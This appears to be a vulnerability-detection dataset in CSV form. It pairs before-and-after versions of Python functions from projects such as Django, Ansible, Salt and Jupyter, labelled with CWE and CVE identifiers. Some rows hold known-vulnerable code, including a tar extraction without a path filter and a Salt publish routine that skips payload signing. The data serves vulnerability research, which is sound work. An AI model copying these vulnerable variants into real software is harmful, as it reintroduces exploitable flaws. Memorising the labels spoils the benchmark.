functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/testing/iptestcontroller.py,0,"def _init_server(self):
        ""Start the notebook server in a separate process""
        self.queue = q = Queue()
        self.server = Process(target=run_webapp, args=(q, self.ipydir.name, self.nbdir.name))
        self.server.start()
        self.server_port = q.get()",,jupyter/notebook,8170b58c3fa219822e6acc158b6a1dc2a8be9466,"def _init_server(self):
        ""Start the notebook server in a separate process""
        self.queue = q = Queue()
        self.server = Process(target=run_webapp, args=(q, self.ipydir.name, self.nbdir.name))
        self.server.start()
        self.server_port = q.get()"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/allow76.py,0,"def get(self, *args, **kwargs):
        self.open_args = args
        self.open_kwargs = kwargs

        # Upgrade header should be present and should be equal to WebSocket
        if self.request.headers.get(""Upgrade"", """").lower() != 'websocket':
            self.set_status(400)
            self.finish(""Can \""Upgrade\"" only to \""WebSocket\""."")
            return

        # Connection header should be upgrade. Some proxy servers/load balancers
        # might mess with it.
        headers = self.request.headers
        connection = map(lambda s: s.strip().lower(), headers.get(""Connection"", """").split("",""))
        if 'upgrade' not in connection:
            self.set_status(400)
            self.finish(""\""Connection\"" must be \""Upgrade\""."")
            return

        # Handle WebSocket Origin naming convention differences
        # The difference between version 8 and 13 is that in 8 the
        # client sends a ""Sec-Websocket-Origin"" header and in 13 it's
        # simply ""Origin"".
        if ""Origin"" in self.request.headers:
            origin = self.request.headers.get(""Origin"")
        else:
            origin = self.request.headers.get(""Sec-Websocket-Origin"", None)


        # If there was an origin header, check to make sure it matches
        # according to check_origin. When the origin is None, we assume it
        # did not come from a browser and that it can be passed on.
        if origin is not None and not self.check_origin(origin):
            self.set_status(403)
            self.finish(""Cross origin websockets not allowed"")
            return

        self.stream = self.request.connection.detach()
        self.stream.set_close_callback(self.on_connection_close)

        if self.request.headers.get(""Sec-WebSocket-Version"") in (""7"", ""8"", ""13""):
            self.ws_connection = WebSocketProtocol13(self)
            self.ws_connection.accept_connection()
        #--------------- BEGIN PATCH ----------------
        elif (self.allow_draft76() and
              ""Sec-WebSocket-Version"" not in self.request.headers):
            self.ws_connection = WebSocketProtocol76(self)
            self.ws_connection.accept_connection()
        #--------------- END PATCH ----------------
        else:
            if not self.stream.closed():
                self.stream.write(tornado.escape.utf8(
                    ""HTTP/1.1 426 Upgrade Required\r\n""
                    ""Sec-WebSocket-Version: 8\r\n\r\n""))
                self.stream.close()",,jupyter/notebook,e1f4a76ea14788e776d6f72fb34bc4c56580c51c,"def get(self, *args, **kwargs):
        self.open_args = args
        self.open_kwargs = kwargs

        # Upgrade header should be present and should be equal to WebSocket
        if self.request.headers.get(""Upgrade"", """").lower() != 'websocket':
            self.set_status(400)
            self.finish(""Can \""Upgrade\"" only to \""WebSocket\""."")
            return

        # Connection header should be upgrade. Some proxy servers/load balancers
        # might mess with it.
        headers = self.request.headers
        connection = map(lambda s: s.strip().lower(), headers.get(""Connection"", """").split("",""))
        if 'upgrade' not in connection:
            self.set_status(400)
            self.finish(""\""Connection\"" must be \""Upgrade\""."")
            return

        # Handle WebSocket Origin naming convention differences
        # The difference between version 8 and 13 is that in 8 the
        # client sends a ""Sec-Websocket-Origin"" header and in 13 it's
        # simply ""Origin"".
        if ""Origin"" in self.request.headers:
            origin = self.request.headers.get(""Origin"")
        else:
            origin = self.request.headers.get(""Sec-Websocket-Origin"", None)


        # If there was an origin header, check to make sure it matches
        # according to check_origin. When the origin is None, we assume it
        # did not come from a browser and that it can be passed on.
        if origin is not None and not self.check_origin(origin):
            self.set_status(403)
            self.finish(""Cross origin websockets not allowed"")
            return

        self.stream = self.request.connection.detach()
        self.stream.set_close_callback(self.on_connection_close)

        if self.request.headers.get(""Sec-WebSocket-Version"") in (""7"", ""8"", ""13""):
            self.ws_connection = WebSocketProtocol13(
                self, compression_options=self.get_compression_options())
            self.ws_connection.accept_connection()
        #--------------- BEGIN PATCH ----------------
        elif (self.allow_draft76() and
              ""Sec-WebSocket-Version"" not in self.request.headers):
            self.ws_connection = WebSocketProtocol76(self)
            self.ws_connection.accept_connection()
        #--------------- END PATCH ----------------
        else:
            if not self.stream.closed():
                self.stream.write(tornado.escape.utf8(
                    ""HTTP/1.1 426 Upgrade Required\r\n""
                    ""Sec-WebSocket-Version: 8\r\n\r\n""))
                self.stream.close()"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/controllers/plugins/attack_plugin.py,0,"def canExploit(self, vulnToExploit=None):
        '''
        Determines if audit plugins found exploitable vulns.
        
        @param vulnToExploit: The vulnerability id to exploit
        @return: True if we can exploit a vuln stored in the kb.
        '''
        vulns = self.getExploitableVulns()
        if vulnToExploit is not None:
            vulns = [ v for v in vulns if v.get_id() == vulnToExploit ]
            if vulns:
                return True
            else:
                return False
        else:
            # The user didn't specified what vuln to exploit... so...
            if vulns:
                return True
            else:
                return False",,andresriancho/w3af,8b82f5b4d839c26a1f3390634f5e9977cfd7db6c,"def canExploit(self, vulnToExploit=None):
        '''
        Determines if audit plugins found exploitable vulns.
        
        @param vulnToExploit: The vulnerability id to exploit
        @return: True if we can exploit a vuln stored in the kb.
        '''
        vulns = self.getExploitableVulns()
        if vulnToExploit is not None:
            vulns = [ v for v in vulns if v.getId() == vulnToExploit ]
            if vulns:
                return True
            else:
                return False
        else:
            # The user didn't specified what vuln to exploit... so...
            if vulns:
                return True
            else:
                return False"
,UNKNOWN,UNKNOWN,tests/providers/airbyte/hooks/test_airbyte.py,1,"def test_submit_sync_connection(self, requests_mock):
        requests_mock.post(
            self.sync_connection_endpoint, status_code=200, json=self._mock_sync_conn_success_response_body
        )
        resp = self.hook.submit_sync_connection(connection_id=self.connection_id)
        assert resp.status_code == 200
        assert resp.json() == self._mock_sync_conn_success_response_body",CWE-703,apache/airflow,725c568e732216bd59e85d5de93f8e541f0b08bb,"def test_submit_sync_connection(self, requests_mock):
        requests_mock.post(
            self.sync_connection_endpoint, status_code=200, json=self._mock_sync_conn_success_response_body
        )
        resp = self.hook.submit_sync_connection(connection_id=self.connection_id)
        assert resp.status_code == 200
        assert resp.json() == self._mock_sync_conn_success_response_body"
,UNKNOWN,UNKNOWN,django/contrib/auth/tests/views.py,1,"def fail_login(self, password='password'):
        response = self.client.post('/login/', {
            'username': 'testclient',
            'password': password,
        })
        self.assertContainsEscaped(response, AuthenticationForm.error_messages['invalid_login'] % {
                'username': User._meta.get_field('username').verbose_name
            })",CWE-259,django/django,06b5f5fcb6db2fc20e2d455a34f3f4b0293cfd8c,"def fail_login(self, password='password'):
        response = self.client.post('/login/', {
            'username': 'testclient',
            'password': password,
        })
        self.assertContainsEscaped(response, AuthenticationForm.error_messages['invalid_login'])"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/model_inheritance_regress/tests.py,0,"def test_inheritance_values_joins(self):
        # It would be nice (but not too important) to skip the middle join in
        # this case. Skipping is possible as nothing from the middle model is
        # used in the qs and top contains direct pointer to the bottom model.
        qs = ItalianRestaurant.objects.values_list('serves_gnocchi').filter(name='foo')
        self.assertEqual(str(qs.query).count('JOIN'), 1)",CWE-Unknown,django/django,0f272629ca18e440aef67b4a3fd9377a57fb25a8,"def test_inheritance_values_joins(self):
        # It would be nice (but not too important) to skip the middle join in
        # this case. Skipping is possible as nothing from the middle model is
        # used in the qs and top contains direct pointer to the bottom model.
        qs = ItalianRestaurant.objects.values_list('serves_gnocchi').filter(name='foo')
        self.assertEqual(str(qs.query).count('JOIN'), 1)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/config.py,0,"def __init__(self, config_file=None):
        """"""Attempt to initialize a config dictionary from a yaml file.

        Error out if loading the yaml file fails for any reason.
        :param config_file: The Bandit yaml config file

        :raises bandit.utils.ConfigError: If the config is invalid or
            unreadable.
        """"""
        self.config_file = config_file
        self._config = {}

        if config_file:
            try:
                f = open(config_file, ""rb"")
            except OSError:
                raise utils.ConfigError(
                    ""Could not read config file."", config_file
                )

            if config_file.endswith("".toml""):
                if tomllib is None:
                    raise utils.ConfigError(
                        ""toml parser not available, reinstall with toml extra"",
                        config_file,
                    )

                try:
                    with f:
                        self._config = (
                            tomllib.load(f).get(""tool"", {}).get(""bandit"", {})
                        )
                except tomllib.TOMLDecodeError as err:
                    LOG.error(err)
                    raise utils.ConfigError(""Error parsing file."", config_file)
            else:
                try:
                    with f:
                        self._config = yaml.safe_load(f)
                except yaml.YAMLError as err:
                    LOG.error(err)
                    raise utils.ConfigError(""Error parsing file."", config_file)

            self.validate(config_file)

            # valid config must be a dict
            if not isinstance(self._config, dict):
                raise utils.ConfigError(""Error parsing file."", config_file)

            self.convert_legacy_config()

        else:
            # use sane defaults
            self._config[""plugin_name_pattern""] = ""*.py""
            self._config[""include""] = [""*.py"", ""*.pyw""]

        self._init_settings()",UNKNOWN,PyCQA/bandit,0d3508660654776e3b440c3b46d708dc3792cd4a,"def __init__(self, config_file=None):
        """"""Attempt to initialize a config dictionary from a yaml file.

        Error out if loading the yaml file fails for any reason.
        :param config_file: The Bandit yaml config file

        :raises bandit.utils.ConfigError: If the config is invalid or
            unreadable.
        """"""
        self.config_file = config_file
        self._config = {}

        if config_file:
            try:
                f = open(config_file, ""rb"")
            except OSError:
                raise utils.ConfigError(
                    ""Could not read config file."", config_file
                )

            if config_file.endswith("".toml""):
                if tomllib is None:
                    raise utils.ConfigError(
                        ""toml parser not available, reinstall with toml extra"",
                        config_file,
                    )

                try:
                    with f:
                        self._config = tomllib.load(f)[""tool""][""bandit""]
                except tomllib.TOMLDecodeError as err:
                    LOG.error(err)
                    raise utils.ConfigError(""Error parsing file."", config_file)
            else:
                try:
                    with f:
                        self._config = yaml.safe_load(f)
                except yaml.YAMLError as err:
                    LOG.error(err)
                    raise utils.ConfigError(""Error parsing file."", config_file)

            self.validate(config_file)

            # valid config must be a dict
            if not isinstance(self._config, dict):
                raise utils.ConfigError(""Error parsing file."", config_file)

            self.convert_legacy_config()

        else:
            # use sane defaults
            self._config[""plugin_name_pattern""] = ""*.py""
            self._config[""include""] = [""*.py"", ""*.pyw""]

        self._init_settings()"
,UNKNOWN,UNKNOWN,test_requests.py,1,"def test_json_param_post_should_not_override_data_param(self):
        r = requests.Request(method='POST', url='http://httpbin.org/post',
                             data={'stuff'.encode('utf-8'): 'elixr'},
                             json={'music': 'flute'})
        prep = r.prepare()
        assert 'stuff=elixr' == prep.body",CWE-703,psf/requests,7a0cd16c1a5be16f3df395ee12ed11d0ddde7837,"def test_json_param_post_should_not_override_data_param(self):
        r = requests.Request(method='POST', url='http://httpbin.org/post',
                             data={'stuff'.encode('utf-8'): 'elixr'},
                             json={'music'.encode('utf-8'): 'flute'})
        prep = r.prepare()
        assert 'stuff=elixr' == prep.body"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/select_for_update/tests.py,0,"def test_for_update_sql_generated_of(self):
        """"""
        The backend's FOR UPDATE OF variant appears in the generated SQL when
        select_for_update() is invoked.
        """"""
        with transaction.atomic(), CaptureQueriesContext(connection) as ctx:
            list(Person.objects.select_related(
                'born__country',
            ).select_for_update(
                of=('born__country',),
            ).select_for_update(
                of=('self', 'born__country')
            ))
        features = connections['default'].features
        if features.select_for_update_of_column:
            expected = ['""select_for_update_person"".""id""', '""select_for_update_country"".""id""']
        else:
            expected = ['""select_for_update_person""', '""select_for_update_country""']
        if features.uppercases_column_names:
            expected = [value.upper() for value in expected]
        self.assertTrue(self.has_for_update_sql(ctx.captured_queries, of=expected))",CWE-Unknown,django/django,4e4619a2b8f79699fbdb2c4f1bc4db55f59af6e6,"def test_for_update_sql_generated_of(self):
        """"""
        The backend's FOR UPDATE OF variant appears in the generated SQL when
        select_for_update() is invoked.
        """"""
        with transaction.atomic(), CaptureQueriesContext(connection) as ctx:
            list(Person.objects.select_related(
                'born__country',
            ).select_for_update(
                of=('born__country',),
            ).select_for_update(
                of=('self', 'born__country')
            ))
        features = connections['default'].features
        if features.select_for_update_of_column:
            expected = ['""select_for_update_person"".""id""', '""select_for_update_country"".""id""']
        else:
            expected = ['""select_for_update_person""', '""select_for_update_country""']
        if features.uppercases_column_names:
            expected = [value.upper() for value in expected]
        self.assertTrue(self.has_for_update_sql(ctx.captured_queries, of=expected))"
,UNKNOWN,UNKNOWN,test/integration/targets/ansible-galaxy-collection/library/setup_collections.py,1,"def publish_collection(module, collection):
    namespace = collection['namespace']
    name = collection['name']
    version = collection['version']
    dependencies = collection['dependencies']
    use_symlink = collection['use_symlink']

    result = {}
    collection_dir = os.path.join(module.tmpdir, ""%s-%s-%s"" % (namespace, name, version))
    b_collection_dir = to_bytes(collection_dir, errors='surrogate_or_strict')
    os.mkdir(b_collection_dir)
    os.mkdir(os.path.join(b_collection_dir, b'meta'))

    with open(os.path.join(b_collection_dir, b'README.md'), mode='wb') as fd:
        fd.write(b""Collection readme"")

    galaxy_meta = {
        'namespace': namespace,
        'name': name,
        'version': version,
        'readme': 'README.md',
        'authors': ['Collection author <name@email.com'],
        'dependencies': dependencies,
        'license': ['GPL-3.0-or-later'],
        'repository': 'https://ansible.com/',
    }
    with open(os.path.join(b_collection_dir, b'galaxy.yml'), mode='wb') as fd:
        fd.write(to_bytes(yaml.safe_dump(galaxy_meta), errors='surrogate_or_strict'))
    with open(os.path.join(b_collection_dir, b'meta/runtime.yml'), mode='wb') as fd:
        fd.write(b'requires_ansible: "">=1.0.0""')

    with tempfile.NamedTemporaryFile(mode='wb') as temp_fd:
        temp_fd.write(b""data"")

        if use_symlink:
            os.mkdir(os.path.join(b_collection_dir, b'docs'))
            os.mkdir(os.path.join(b_collection_dir, b'plugins'))
            b_target_file = b'RE\xc3\x85DM\xc3\x88.md'
            with open(os.path.join(b_collection_dir, b_target_file), mode='wb') as fd:
                fd.write(b'data')

            os.symlink(b_target_file, os.path.join(b_collection_dir, b_target_file + b'-link'))
            os.symlink(temp_fd.name, os.path.join(b_collection_dir, b_target_file + b'-outside-link'))
            os.symlink(os.path.join(b'..', b_target_file), os.path.join(b_collection_dir, b'docs', b_target_file))
            os.symlink(os.path.join(b_collection_dir, b_target_file),
                       os.path.join(b_collection_dir, b'plugins', b_target_file))
            os.symlink(b'docs', os.path.join(b_collection_dir, b'docs-link'))

        release_filename = '%s-%s-%s.tar.gz' % (namespace, name, version)
        collection_path = os.path.join(collection_dir, release_filename)
        rc, stdout, stderr = module.run_command(['ansible-galaxy', 'collection', 'build'], cwd=collection_dir)
        result['build'] = {
            'rc': rc,
            'stdout': stdout,
            'stderr': stderr,
        }

        if module.params['signature_dir'] is not None:
            # To test user-provided signatures, we need to sign the MANIFEST.json before publishing

            # Extract the tarfile to sign the MANIFEST.json
            with tarfile.open(collection_path, mode='r') as collection_tar:
                # deprecated: description='extractall fallback without filter' python_version='3.11'
                # Replace 'tar_filter' with 'data_filter' and 'filter=tar' with 'filter=data' once Python 3.12 is minimum requirement.
                if hasattr(tarfile, 'tar_filter'):
                    collection_tar.extractall(path=os.path.join(collection_dir, '%s-%s-%s' % (namespace, name, version)), filter='tar')
                else:
                    collection_tar.extractall(path=os.path.join(collection_dir, '%s-%s-%s' % (namespace, name, version)))

            manifest_path = os.path.join(collection_dir, '%s-%s-%s' % (namespace, name, version), 'MANIFEST.json')
            signature_path = os.path.join(module.params['signature_dir'], '%s-%s-%s-MANIFEST.json.asc' % (namespace, name, version))
            sign_manifest(signature_path, manifest_path, module, result)

            # Create the tarfile containing the signed MANIFEST.json
            with tarfile.open(collection_path, ""w:gz"") as tar:
                tar.add(os.path.join(collection_dir, '%s-%s-%s' % (namespace, name, version)), arcname=os.path.sep)

    publish_args = ['ansible-galaxy', 'collection', 'publish', collection_path, '--server', module.params['server']]
    if module.params['token']:
        publish_args.extend(['--token', module.params['token']])

    rc, stdout, stderr = module.run_command(publish_args)
    result['publish'] = {
        'rc': rc,
        'stdout': stdout,
        'stderr': stderr,
    }

    return result",CWE-22,ansible/ansible,1cc5efa77b3dd8b0e24cd60175b034a6c4ca4c2c,"def publish_collection(module, collection):
    namespace = collection['namespace']
    name = collection['name']
    version = collection['version']
    dependencies = collection['dependencies']
    use_symlink = collection['use_symlink']

    result = {}
    collection_dir = os.path.join(module.tmpdir, ""%s-%s-%s"" % (namespace, name, version))
    b_collection_dir = to_bytes(collection_dir, errors='surrogate_or_strict')
    os.mkdir(b_collection_dir)
    os.mkdir(os.path.join(b_collection_dir, b'meta'))

    with open(os.path.join(b_collection_dir, b'README.md'), mode='wb') as fd:
        fd.write(b""Collection readme"")

    galaxy_meta = {
        'namespace': namespace,
        'name': name,
        'version': version,
        'readme': 'README.md',
        'authors': ['Collection author <name@email.com'],
        'dependencies': dependencies,
        'license': ['GPL-3.0-or-later'],
        'repository': 'https://ansible.com/',
    }
    with open(os.path.join(b_collection_dir, b'galaxy.yml'), mode='wb') as fd:
        fd.write(to_bytes(yaml.safe_dump(galaxy_meta), errors='surrogate_or_strict'))
    with open(os.path.join(b_collection_dir, b'meta/runtime.yml'), mode='wb') as fd:
        fd.write(b'requires_ansible: "">=1.0.0""')

    with tempfile.NamedTemporaryFile(mode='wb') as temp_fd:
        temp_fd.write(b""data"")

        if use_symlink:
            os.mkdir(os.path.join(b_collection_dir, b'docs'))
            os.mkdir(os.path.join(b_collection_dir, b'plugins'))
            b_target_file = b'RE\xc3\x85DM\xc3\x88.md'
            with open(os.path.join(b_collection_dir, b_target_file), mode='wb') as fd:
                fd.write(b'data')

            os.symlink(b_target_file, os.path.join(b_collection_dir, b_target_file + b'-link'))
            os.symlink(temp_fd.name, os.path.join(b_collection_dir, b_target_file + b'-outside-link'))
            os.symlink(os.path.join(b'..', b_target_file), os.path.join(b_collection_dir, b'docs', b_target_file))
            os.symlink(os.path.join(b_collection_dir, b_target_file),
                       os.path.join(b_collection_dir, b'plugins', b_target_file))
            os.symlink(b'docs', os.path.join(b_collection_dir, b'docs-link'))

        release_filename = '%s-%s-%s.tar.gz' % (namespace, name, version)
        collection_path = os.path.join(collection_dir, release_filename)
        rc, stdout, stderr = module.run_command(['ansible-galaxy', 'collection', 'build'], cwd=collection_dir)
        result['build'] = {
            'rc': rc,
            'stdout': stdout,
            'stderr': stderr,
        }

        if module.params['signature_dir'] is not None:
            # To test user-provided signatures, we need to sign the MANIFEST.json before publishing

            # Extract the tarfile to sign the MANIFEST.json
            with tarfile.open(collection_path, mode='r') as collection_tar:
                collection_tar.extractall(path=os.path.join(collection_dir, '%s-%s-%s' % (namespace, name, version)))

            manifest_path = os.path.join(collection_dir, '%s-%s-%s' % (namespace, name, version), 'MANIFEST.json')
            signature_path = os.path.join(module.params['signature_dir'], '%s-%s-%s-MANIFEST.json.asc' % (namespace, name, version))
            sign_manifest(signature_path, manifest_path, module, result)

            # Create the tarfile containing the signed MANIFEST.json
            with tarfile.open(collection_path, ""w:gz"") as tar:
                tar.add(os.path.join(collection_dir, '%s-%s-%s' % (namespace, name, version)), arcname=os.path.sep)

    publish_args = ['ansible-galaxy', 'collection', 'publish', collection_path, '--server', module.params['server']]
    if module.params['token']:
        publish_args.extend(['--token', module.params['token']])

    rc, stdout, stderr = module.run_command(publish_args)
    result['publish'] = {
        'rc': rc,
        'stdout': stdout,
        'stderr': stderr,
    }

    return result"
,CVE-2022-22936,UNKNOWN,salt/transport/zeromq.py,1,"def _publish_daemon(self, log_queue=None):
        """"""
        Bind to the interface specified in the configuration file
        """"""
        salt.utils.process.appendproctitle(self.__class__.__name__)

        if self.opts[""pub_server_niceness""] and not salt.utils.platform.is_windows():
            log.info(
                ""setting Publish daemon niceness to %i"",
                self.opts[""pub_server_niceness""],
            )
            os.nice(self.opts[""pub_server_niceness""])

        if log_queue:
            salt.log.setup.set_multiprocessing_logging_queue(log_queue)
            salt.log.setup.setup_multiprocessing_logging(log_queue)

        # Set up the context
        context = zmq.Context(1)
        # Prepare minion publish socket
        pub_sock = context.socket(zmq.PUB)
        _set_tcp_keepalive(pub_sock, self.opts)
        # if 2.1 >= zmq < 3.0, we only have one HWM setting
        try:
            pub_sock.setsockopt(zmq.HWM, self.opts.get(""pub_hwm"", 1000))
        # in zmq >= 3.0, there are separate send and receive HWM settings
        except AttributeError:
            # Set the High Water Marks. For more information on HWM, see:
            # http://api.zeromq.org/4-1:zmq-setsockopt
            pub_sock.setsockopt(zmq.SNDHWM, self.opts.get(""pub_hwm"", 1000))
            pub_sock.setsockopt(zmq.RCVHWM, self.opts.get(""pub_hwm"", 1000))
        if self.opts[""ipv6""] is True and hasattr(zmq, ""IPV4ONLY""):
            # IPv6 sockets work for both IPv6 and IPv4 addresses
            pub_sock.setsockopt(zmq.IPV4ONLY, 0)
        pub_sock.setsockopt(zmq.BACKLOG, self.opts.get(""zmq_backlog"", 1000))
        pub_sock.setsockopt(zmq.LINGER, -1)
        pub_uri = ""tcp://{interface}:{publish_port}"".format(**self.opts)
        # Prepare minion pull socket
        pull_sock = context.socket(zmq.PULL)
        pull_sock.setsockopt(zmq.LINGER, -1)

        if self.opts.get(""ipc_mode"", """") == ""tcp"":
            pull_uri = ""tcp://127.0.0.1:{}"".format(
                self.opts.get(""tcp_master_publish_pull"", 4514)
            )
        else:
            pull_uri = ""ipc://{}"".format(
                os.path.join(self.opts[""sock_dir""], ""publish_pull.ipc"")
            )
        salt.utils.zeromq.check_ipc_path_max_len(pull_uri)

        # Start the minion command publisher
        log.info(""Starting the Salt Publisher on %s"", pub_uri)
        pub_sock.bind(pub_uri)

        # Securely create socket
        log.info(""Starting the Salt Puller on %s"", pull_uri)
        with salt.utils.files.set_umask(0o177):
            pull_sock.bind(pull_uri)

        try:
            while True:
                # Catch and handle EINTR from when this process is sent
                # SIGUSR1 gracefully so we don't choke and die horribly
                try:
                    log.debug(""Publish daemon getting data from puller %s"", pull_uri)
                    package = pull_sock.recv()
                    package = salt.payload.loads(package)
                    package = self.pack_publish(package)
                    log.debug(""Publish daemon received payload. size=%d"", len(package))

                    unpacked_package = salt.payload.unpackage(package)
                    unpacked_package = salt.transport.frame.decode_embedded_strs(
                        unpacked_package
                    )
                    payload = unpacked_package[""payload""]
                    log.trace(""Accepted unpacked package from puller"")
                    if self.opts[""zmq_filtering""]:
                        # if you have a specific topic list, use that
                        if ""topic_lst"" in unpacked_package:
                            for topic in unpacked_package[""topic_lst""]:
                                log.trace(
                                    ""Sending filtered data over publisher %s"", pub_uri
                                )
                                # zmq filters are substring match, hash the topic
                                # to avoid collisions
                                htopic = salt.utils.stringutils.to_bytes(
                                    hashlib.sha1(
                                        salt.utils.stringutils.to_bytes(topic)
                                    ).hexdigest()
                                )
                                pub_sock.send(htopic, flags=zmq.SNDMORE)
                                pub_sock.send(payload)
                                log.trace(""Filtered data has been sent"")

                            # Syndic broadcast
                            if self.opts.get(""order_masters""):
                                log.trace(""Sending filtered data to syndic"")
                                pub_sock.send(b""syndic"", flags=zmq.SNDMORE)
                                pub_sock.send(payload)
                                log.trace(""Filtered data has been sent to syndic"")
                        # otherwise its a broadcast
                        else:
                            # TODO: constants file for ""broadcast""
                            log.trace(
                                ""Sending broadcasted data over publisher %s"", pub_uri
                            )
                            pub_sock.send(b""broadcast"", flags=zmq.SNDMORE)
                            pub_sock.send(payload)
                            log.trace(""Broadcasted data has been sent"")
                    else:
                        log.trace(
                            ""Sending ZMQ-unfiltered data over publisher %s"", pub_uri
                        )
                        pub_sock.send(payload)
                        log.trace(""Unfiltered data has been sent"")
                except zmq.ZMQError as exc:
                    if exc.errno == errno.EINTR:
                        continue
                    raise

        except KeyboardInterrupt:
            log.trace(""Publish daemon caught Keyboard interupt, tearing down"")
        # Cleanly close the sockets if we're shutting down
        if pub_sock.closed is False:
            pub_sock.close()
        if pull_sock.closed is False:
            pull_sock.close()
        if context.closed is False:
            context.term()",CWE-327,saltstack/salt,064729c1ed085466cf4863403100461fbe4abd81,"def _publish_daemon(self, log_queue=None):
        """"""
        Bind to the interface specified in the configuration file
        """"""
        salt.utils.process.appendproctitle(self.__class__.__name__)

        if self.opts[""pub_server_niceness""] and not salt.utils.platform.is_windows():
            log.info(
                ""setting Publish daemon niceness to %i"",
                self.opts[""pub_server_niceness""],
            )
            os.nice(self.opts[""pub_server_niceness""])

        if log_queue:
            salt.log.setup.set_multiprocessing_logging_queue(log_queue)
            salt.log.setup.setup_multiprocessing_logging(log_queue)

        # Set up the context
        context = zmq.Context(1)
        # Prepare minion publish socket
        pub_sock = context.socket(zmq.PUB)
        _set_tcp_keepalive(pub_sock, self.opts)
        # if 2.1 >= zmq < 3.0, we only have one HWM setting
        try:
            pub_sock.setsockopt(zmq.HWM, self.opts.get(""pub_hwm"", 1000))
        # in zmq >= 3.0, there are separate send and receive HWM settings
        except AttributeError:
            # Set the High Water Marks. For more information on HWM, see:
            # http://api.zeromq.org/4-1:zmq-setsockopt
            pub_sock.setsockopt(zmq.SNDHWM, self.opts.get(""pub_hwm"", 1000))
            pub_sock.setsockopt(zmq.RCVHWM, self.opts.get(""pub_hwm"", 1000))
        if self.opts[""ipv6""] is True and hasattr(zmq, ""IPV4ONLY""):
            # IPv6 sockets work for both IPv6 and IPv4 addresses
            pub_sock.setsockopt(zmq.IPV4ONLY, 0)
        pub_sock.setsockopt(zmq.BACKLOG, self.opts.get(""zmq_backlog"", 1000))
        pub_sock.setsockopt(zmq.LINGER, -1)
        pub_uri = ""tcp://{interface}:{publish_port}"".format(**self.opts)
        # Prepare minion pull socket
        pull_sock = context.socket(zmq.PULL)
        pull_sock.setsockopt(zmq.LINGER, -1)

        if self.opts.get(""ipc_mode"", """") == ""tcp"":
            pull_uri = ""tcp://127.0.0.1:{}"".format(
                self.opts.get(""tcp_master_publish_pull"", 4514)
            )
        else:
            pull_uri = ""ipc://{}"".format(
                os.path.join(self.opts[""sock_dir""], ""publish_pull.ipc"")
            )
        salt.utils.zeromq.check_ipc_path_max_len(pull_uri)

        # Start the minion command publisher
        log.info(""Starting the Salt Publisher on %s"", pub_uri)
        pub_sock.bind(pub_uri)

        # Securely create socket
        log.info(""Starting the Salt Puller on %s"", pull_uri)
        with salt.utils.files.set_umask(0o177):
            pull_sock.bind(pull_uri)

        try:
            while True:
                # Catch and handle EINTR from when this process is sent
                # SIGUSR1 gracefully so we don't choke and die horribly
                try:
                    log.debug(""Publish daemon getting data from puller %s"", pull_uri)
                    package = pull_sock.recv()
                    log.debug(""Publish daemon received payload. size=%d"", len(package))

                    unpacked_package = salt.payload.unpackage(package)
                    unpacked_package = salt.transport.frame.decode_embedded_strs(
                        unpacked_package
                    )
                    payload = unpacked_package[""payload""]
                    log.trace(""Accepted unpacked package from puller"")
                    if self.opts[""zmq_filtering""]:
                        # if you have a specific topic list, use that
                        if ""topic_lst"" in unpacked_package:
                            for topic in unpacked_package[""topic_lst""]:
                                log.trace(
                                    ""Sending filtered data over publisher %s"", pub_uri
                                )
                                # zmq filters are substring match, hash the topic
                                # to avoid collisions
                                htopic = salt.utils.stringutils.to_bytes(
                                    hashlib.sha1(
                                        salt.utils.stringutils.to_bytes(topic)
                                    ).hexdigest()
                                )
                                pub_sock.send(htopic, flags=zmq.SNDMORE)
                                pub_sock.send(payload)
                                log.trace(""Filtered data has been sent"")

                            # Syndic broadcast
                            if self.opts.get(""order_masters""):
                                log.trace(""Sending filtered data to syndic"")
                                pub_sock.send(b""syndic"", flags=zmq.SNDMORE)
                                pub_sock.send(payload)
                                log.trace(""Filtered data has been sent to syndic"")
                        # otherwise its a broadcast
                        else:
                            # TODO: constants file for ""broadcast""
                            log.trace(
                                ""Sending broadcasted data over publisher %s"", pub_uri
                            )
                            pub_sock.send(b""broadcast"", flags=zmq.SNDMORE)
                            pub_sock.send(payload)
                            log.trace(""Broadcasted data has been sent"")
                    else:
                        log.trace(
                            ""Sending ZMQ-unfiltered data over publisher %s"", pub_uri
                        )
                        pub_sock.send(payload)
                        log.trace(""Unfiltered data has been sent"")
                except zmq.ZMQError as exc:
                    if exc.errno == errno.EINTR:
                        continue
                    raise

        except KeyboardInterrupt:
            log.trace(""Publish daemon caught Keyboard interupt, tearing down"")
        # Cleanly close the sockets if we're shutting down
        if pub_sock.closed is False:
            pub_sock.close()
        if pull_sock.closed is False:
            pull_sock.close()
        if context.closed is False:
            context.term()"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/contents/handlers.py,0,"def sort_key(model):
    """"""key function for case-insensitive sort by name and type""""""
    iname = model['name'].lower()
    type_key = {
        'directory' : '0',
        'notebook'  : '1',
        'file'      : '2',
    }.get(model['type'], '9')
    return u'%s%s' % (type_key, iname)",,jupyter/notebook,99bac366af6d122d18487d694be866a66d78fe4c,"def sort_key(model):
    """"""key function for case-insensitive sort by name and type""""""
    iname = model['name'].lower()
    type_key = {
        'directory' : '0',
        'notebook'  : '1',
        'file'      : '2',
    }.get(model['type'], '9')
    return u'%s%s' % (type_key, iname)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/portage_config.py,0,"def mod_init(low):
    '''
    Enforce a nice structure on the configuration files.
    '''
    try:
        __salt__['portage_config.enforce_nice_config']()
    except:
        return False
    return True",,saltstack/salt,d68475a020d99d055823574e31b58dd715dfc3ab,"def mod_init(low):
    '''
    Enforce a nice structure on the configuration files.
    '''
    try:
        __salt__['portage_config.enforce_nice_config']()
    except Exception:
        return False
    return True"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/functional/test_functional.py,0,"def test_pickle(self):
        '''Test for the `pickle` module.'''
        expect = {
            'SEVERITY': {'UNDEFINED': 0, 'LOW': 2, 'MEDIUM': 6, 'HIGH': 0},
            'CONFIDENCE': {'UNDEFINED': 0, 'LOW': 0, 'MEDIUM': 0, 'HIGH': 8}
        }
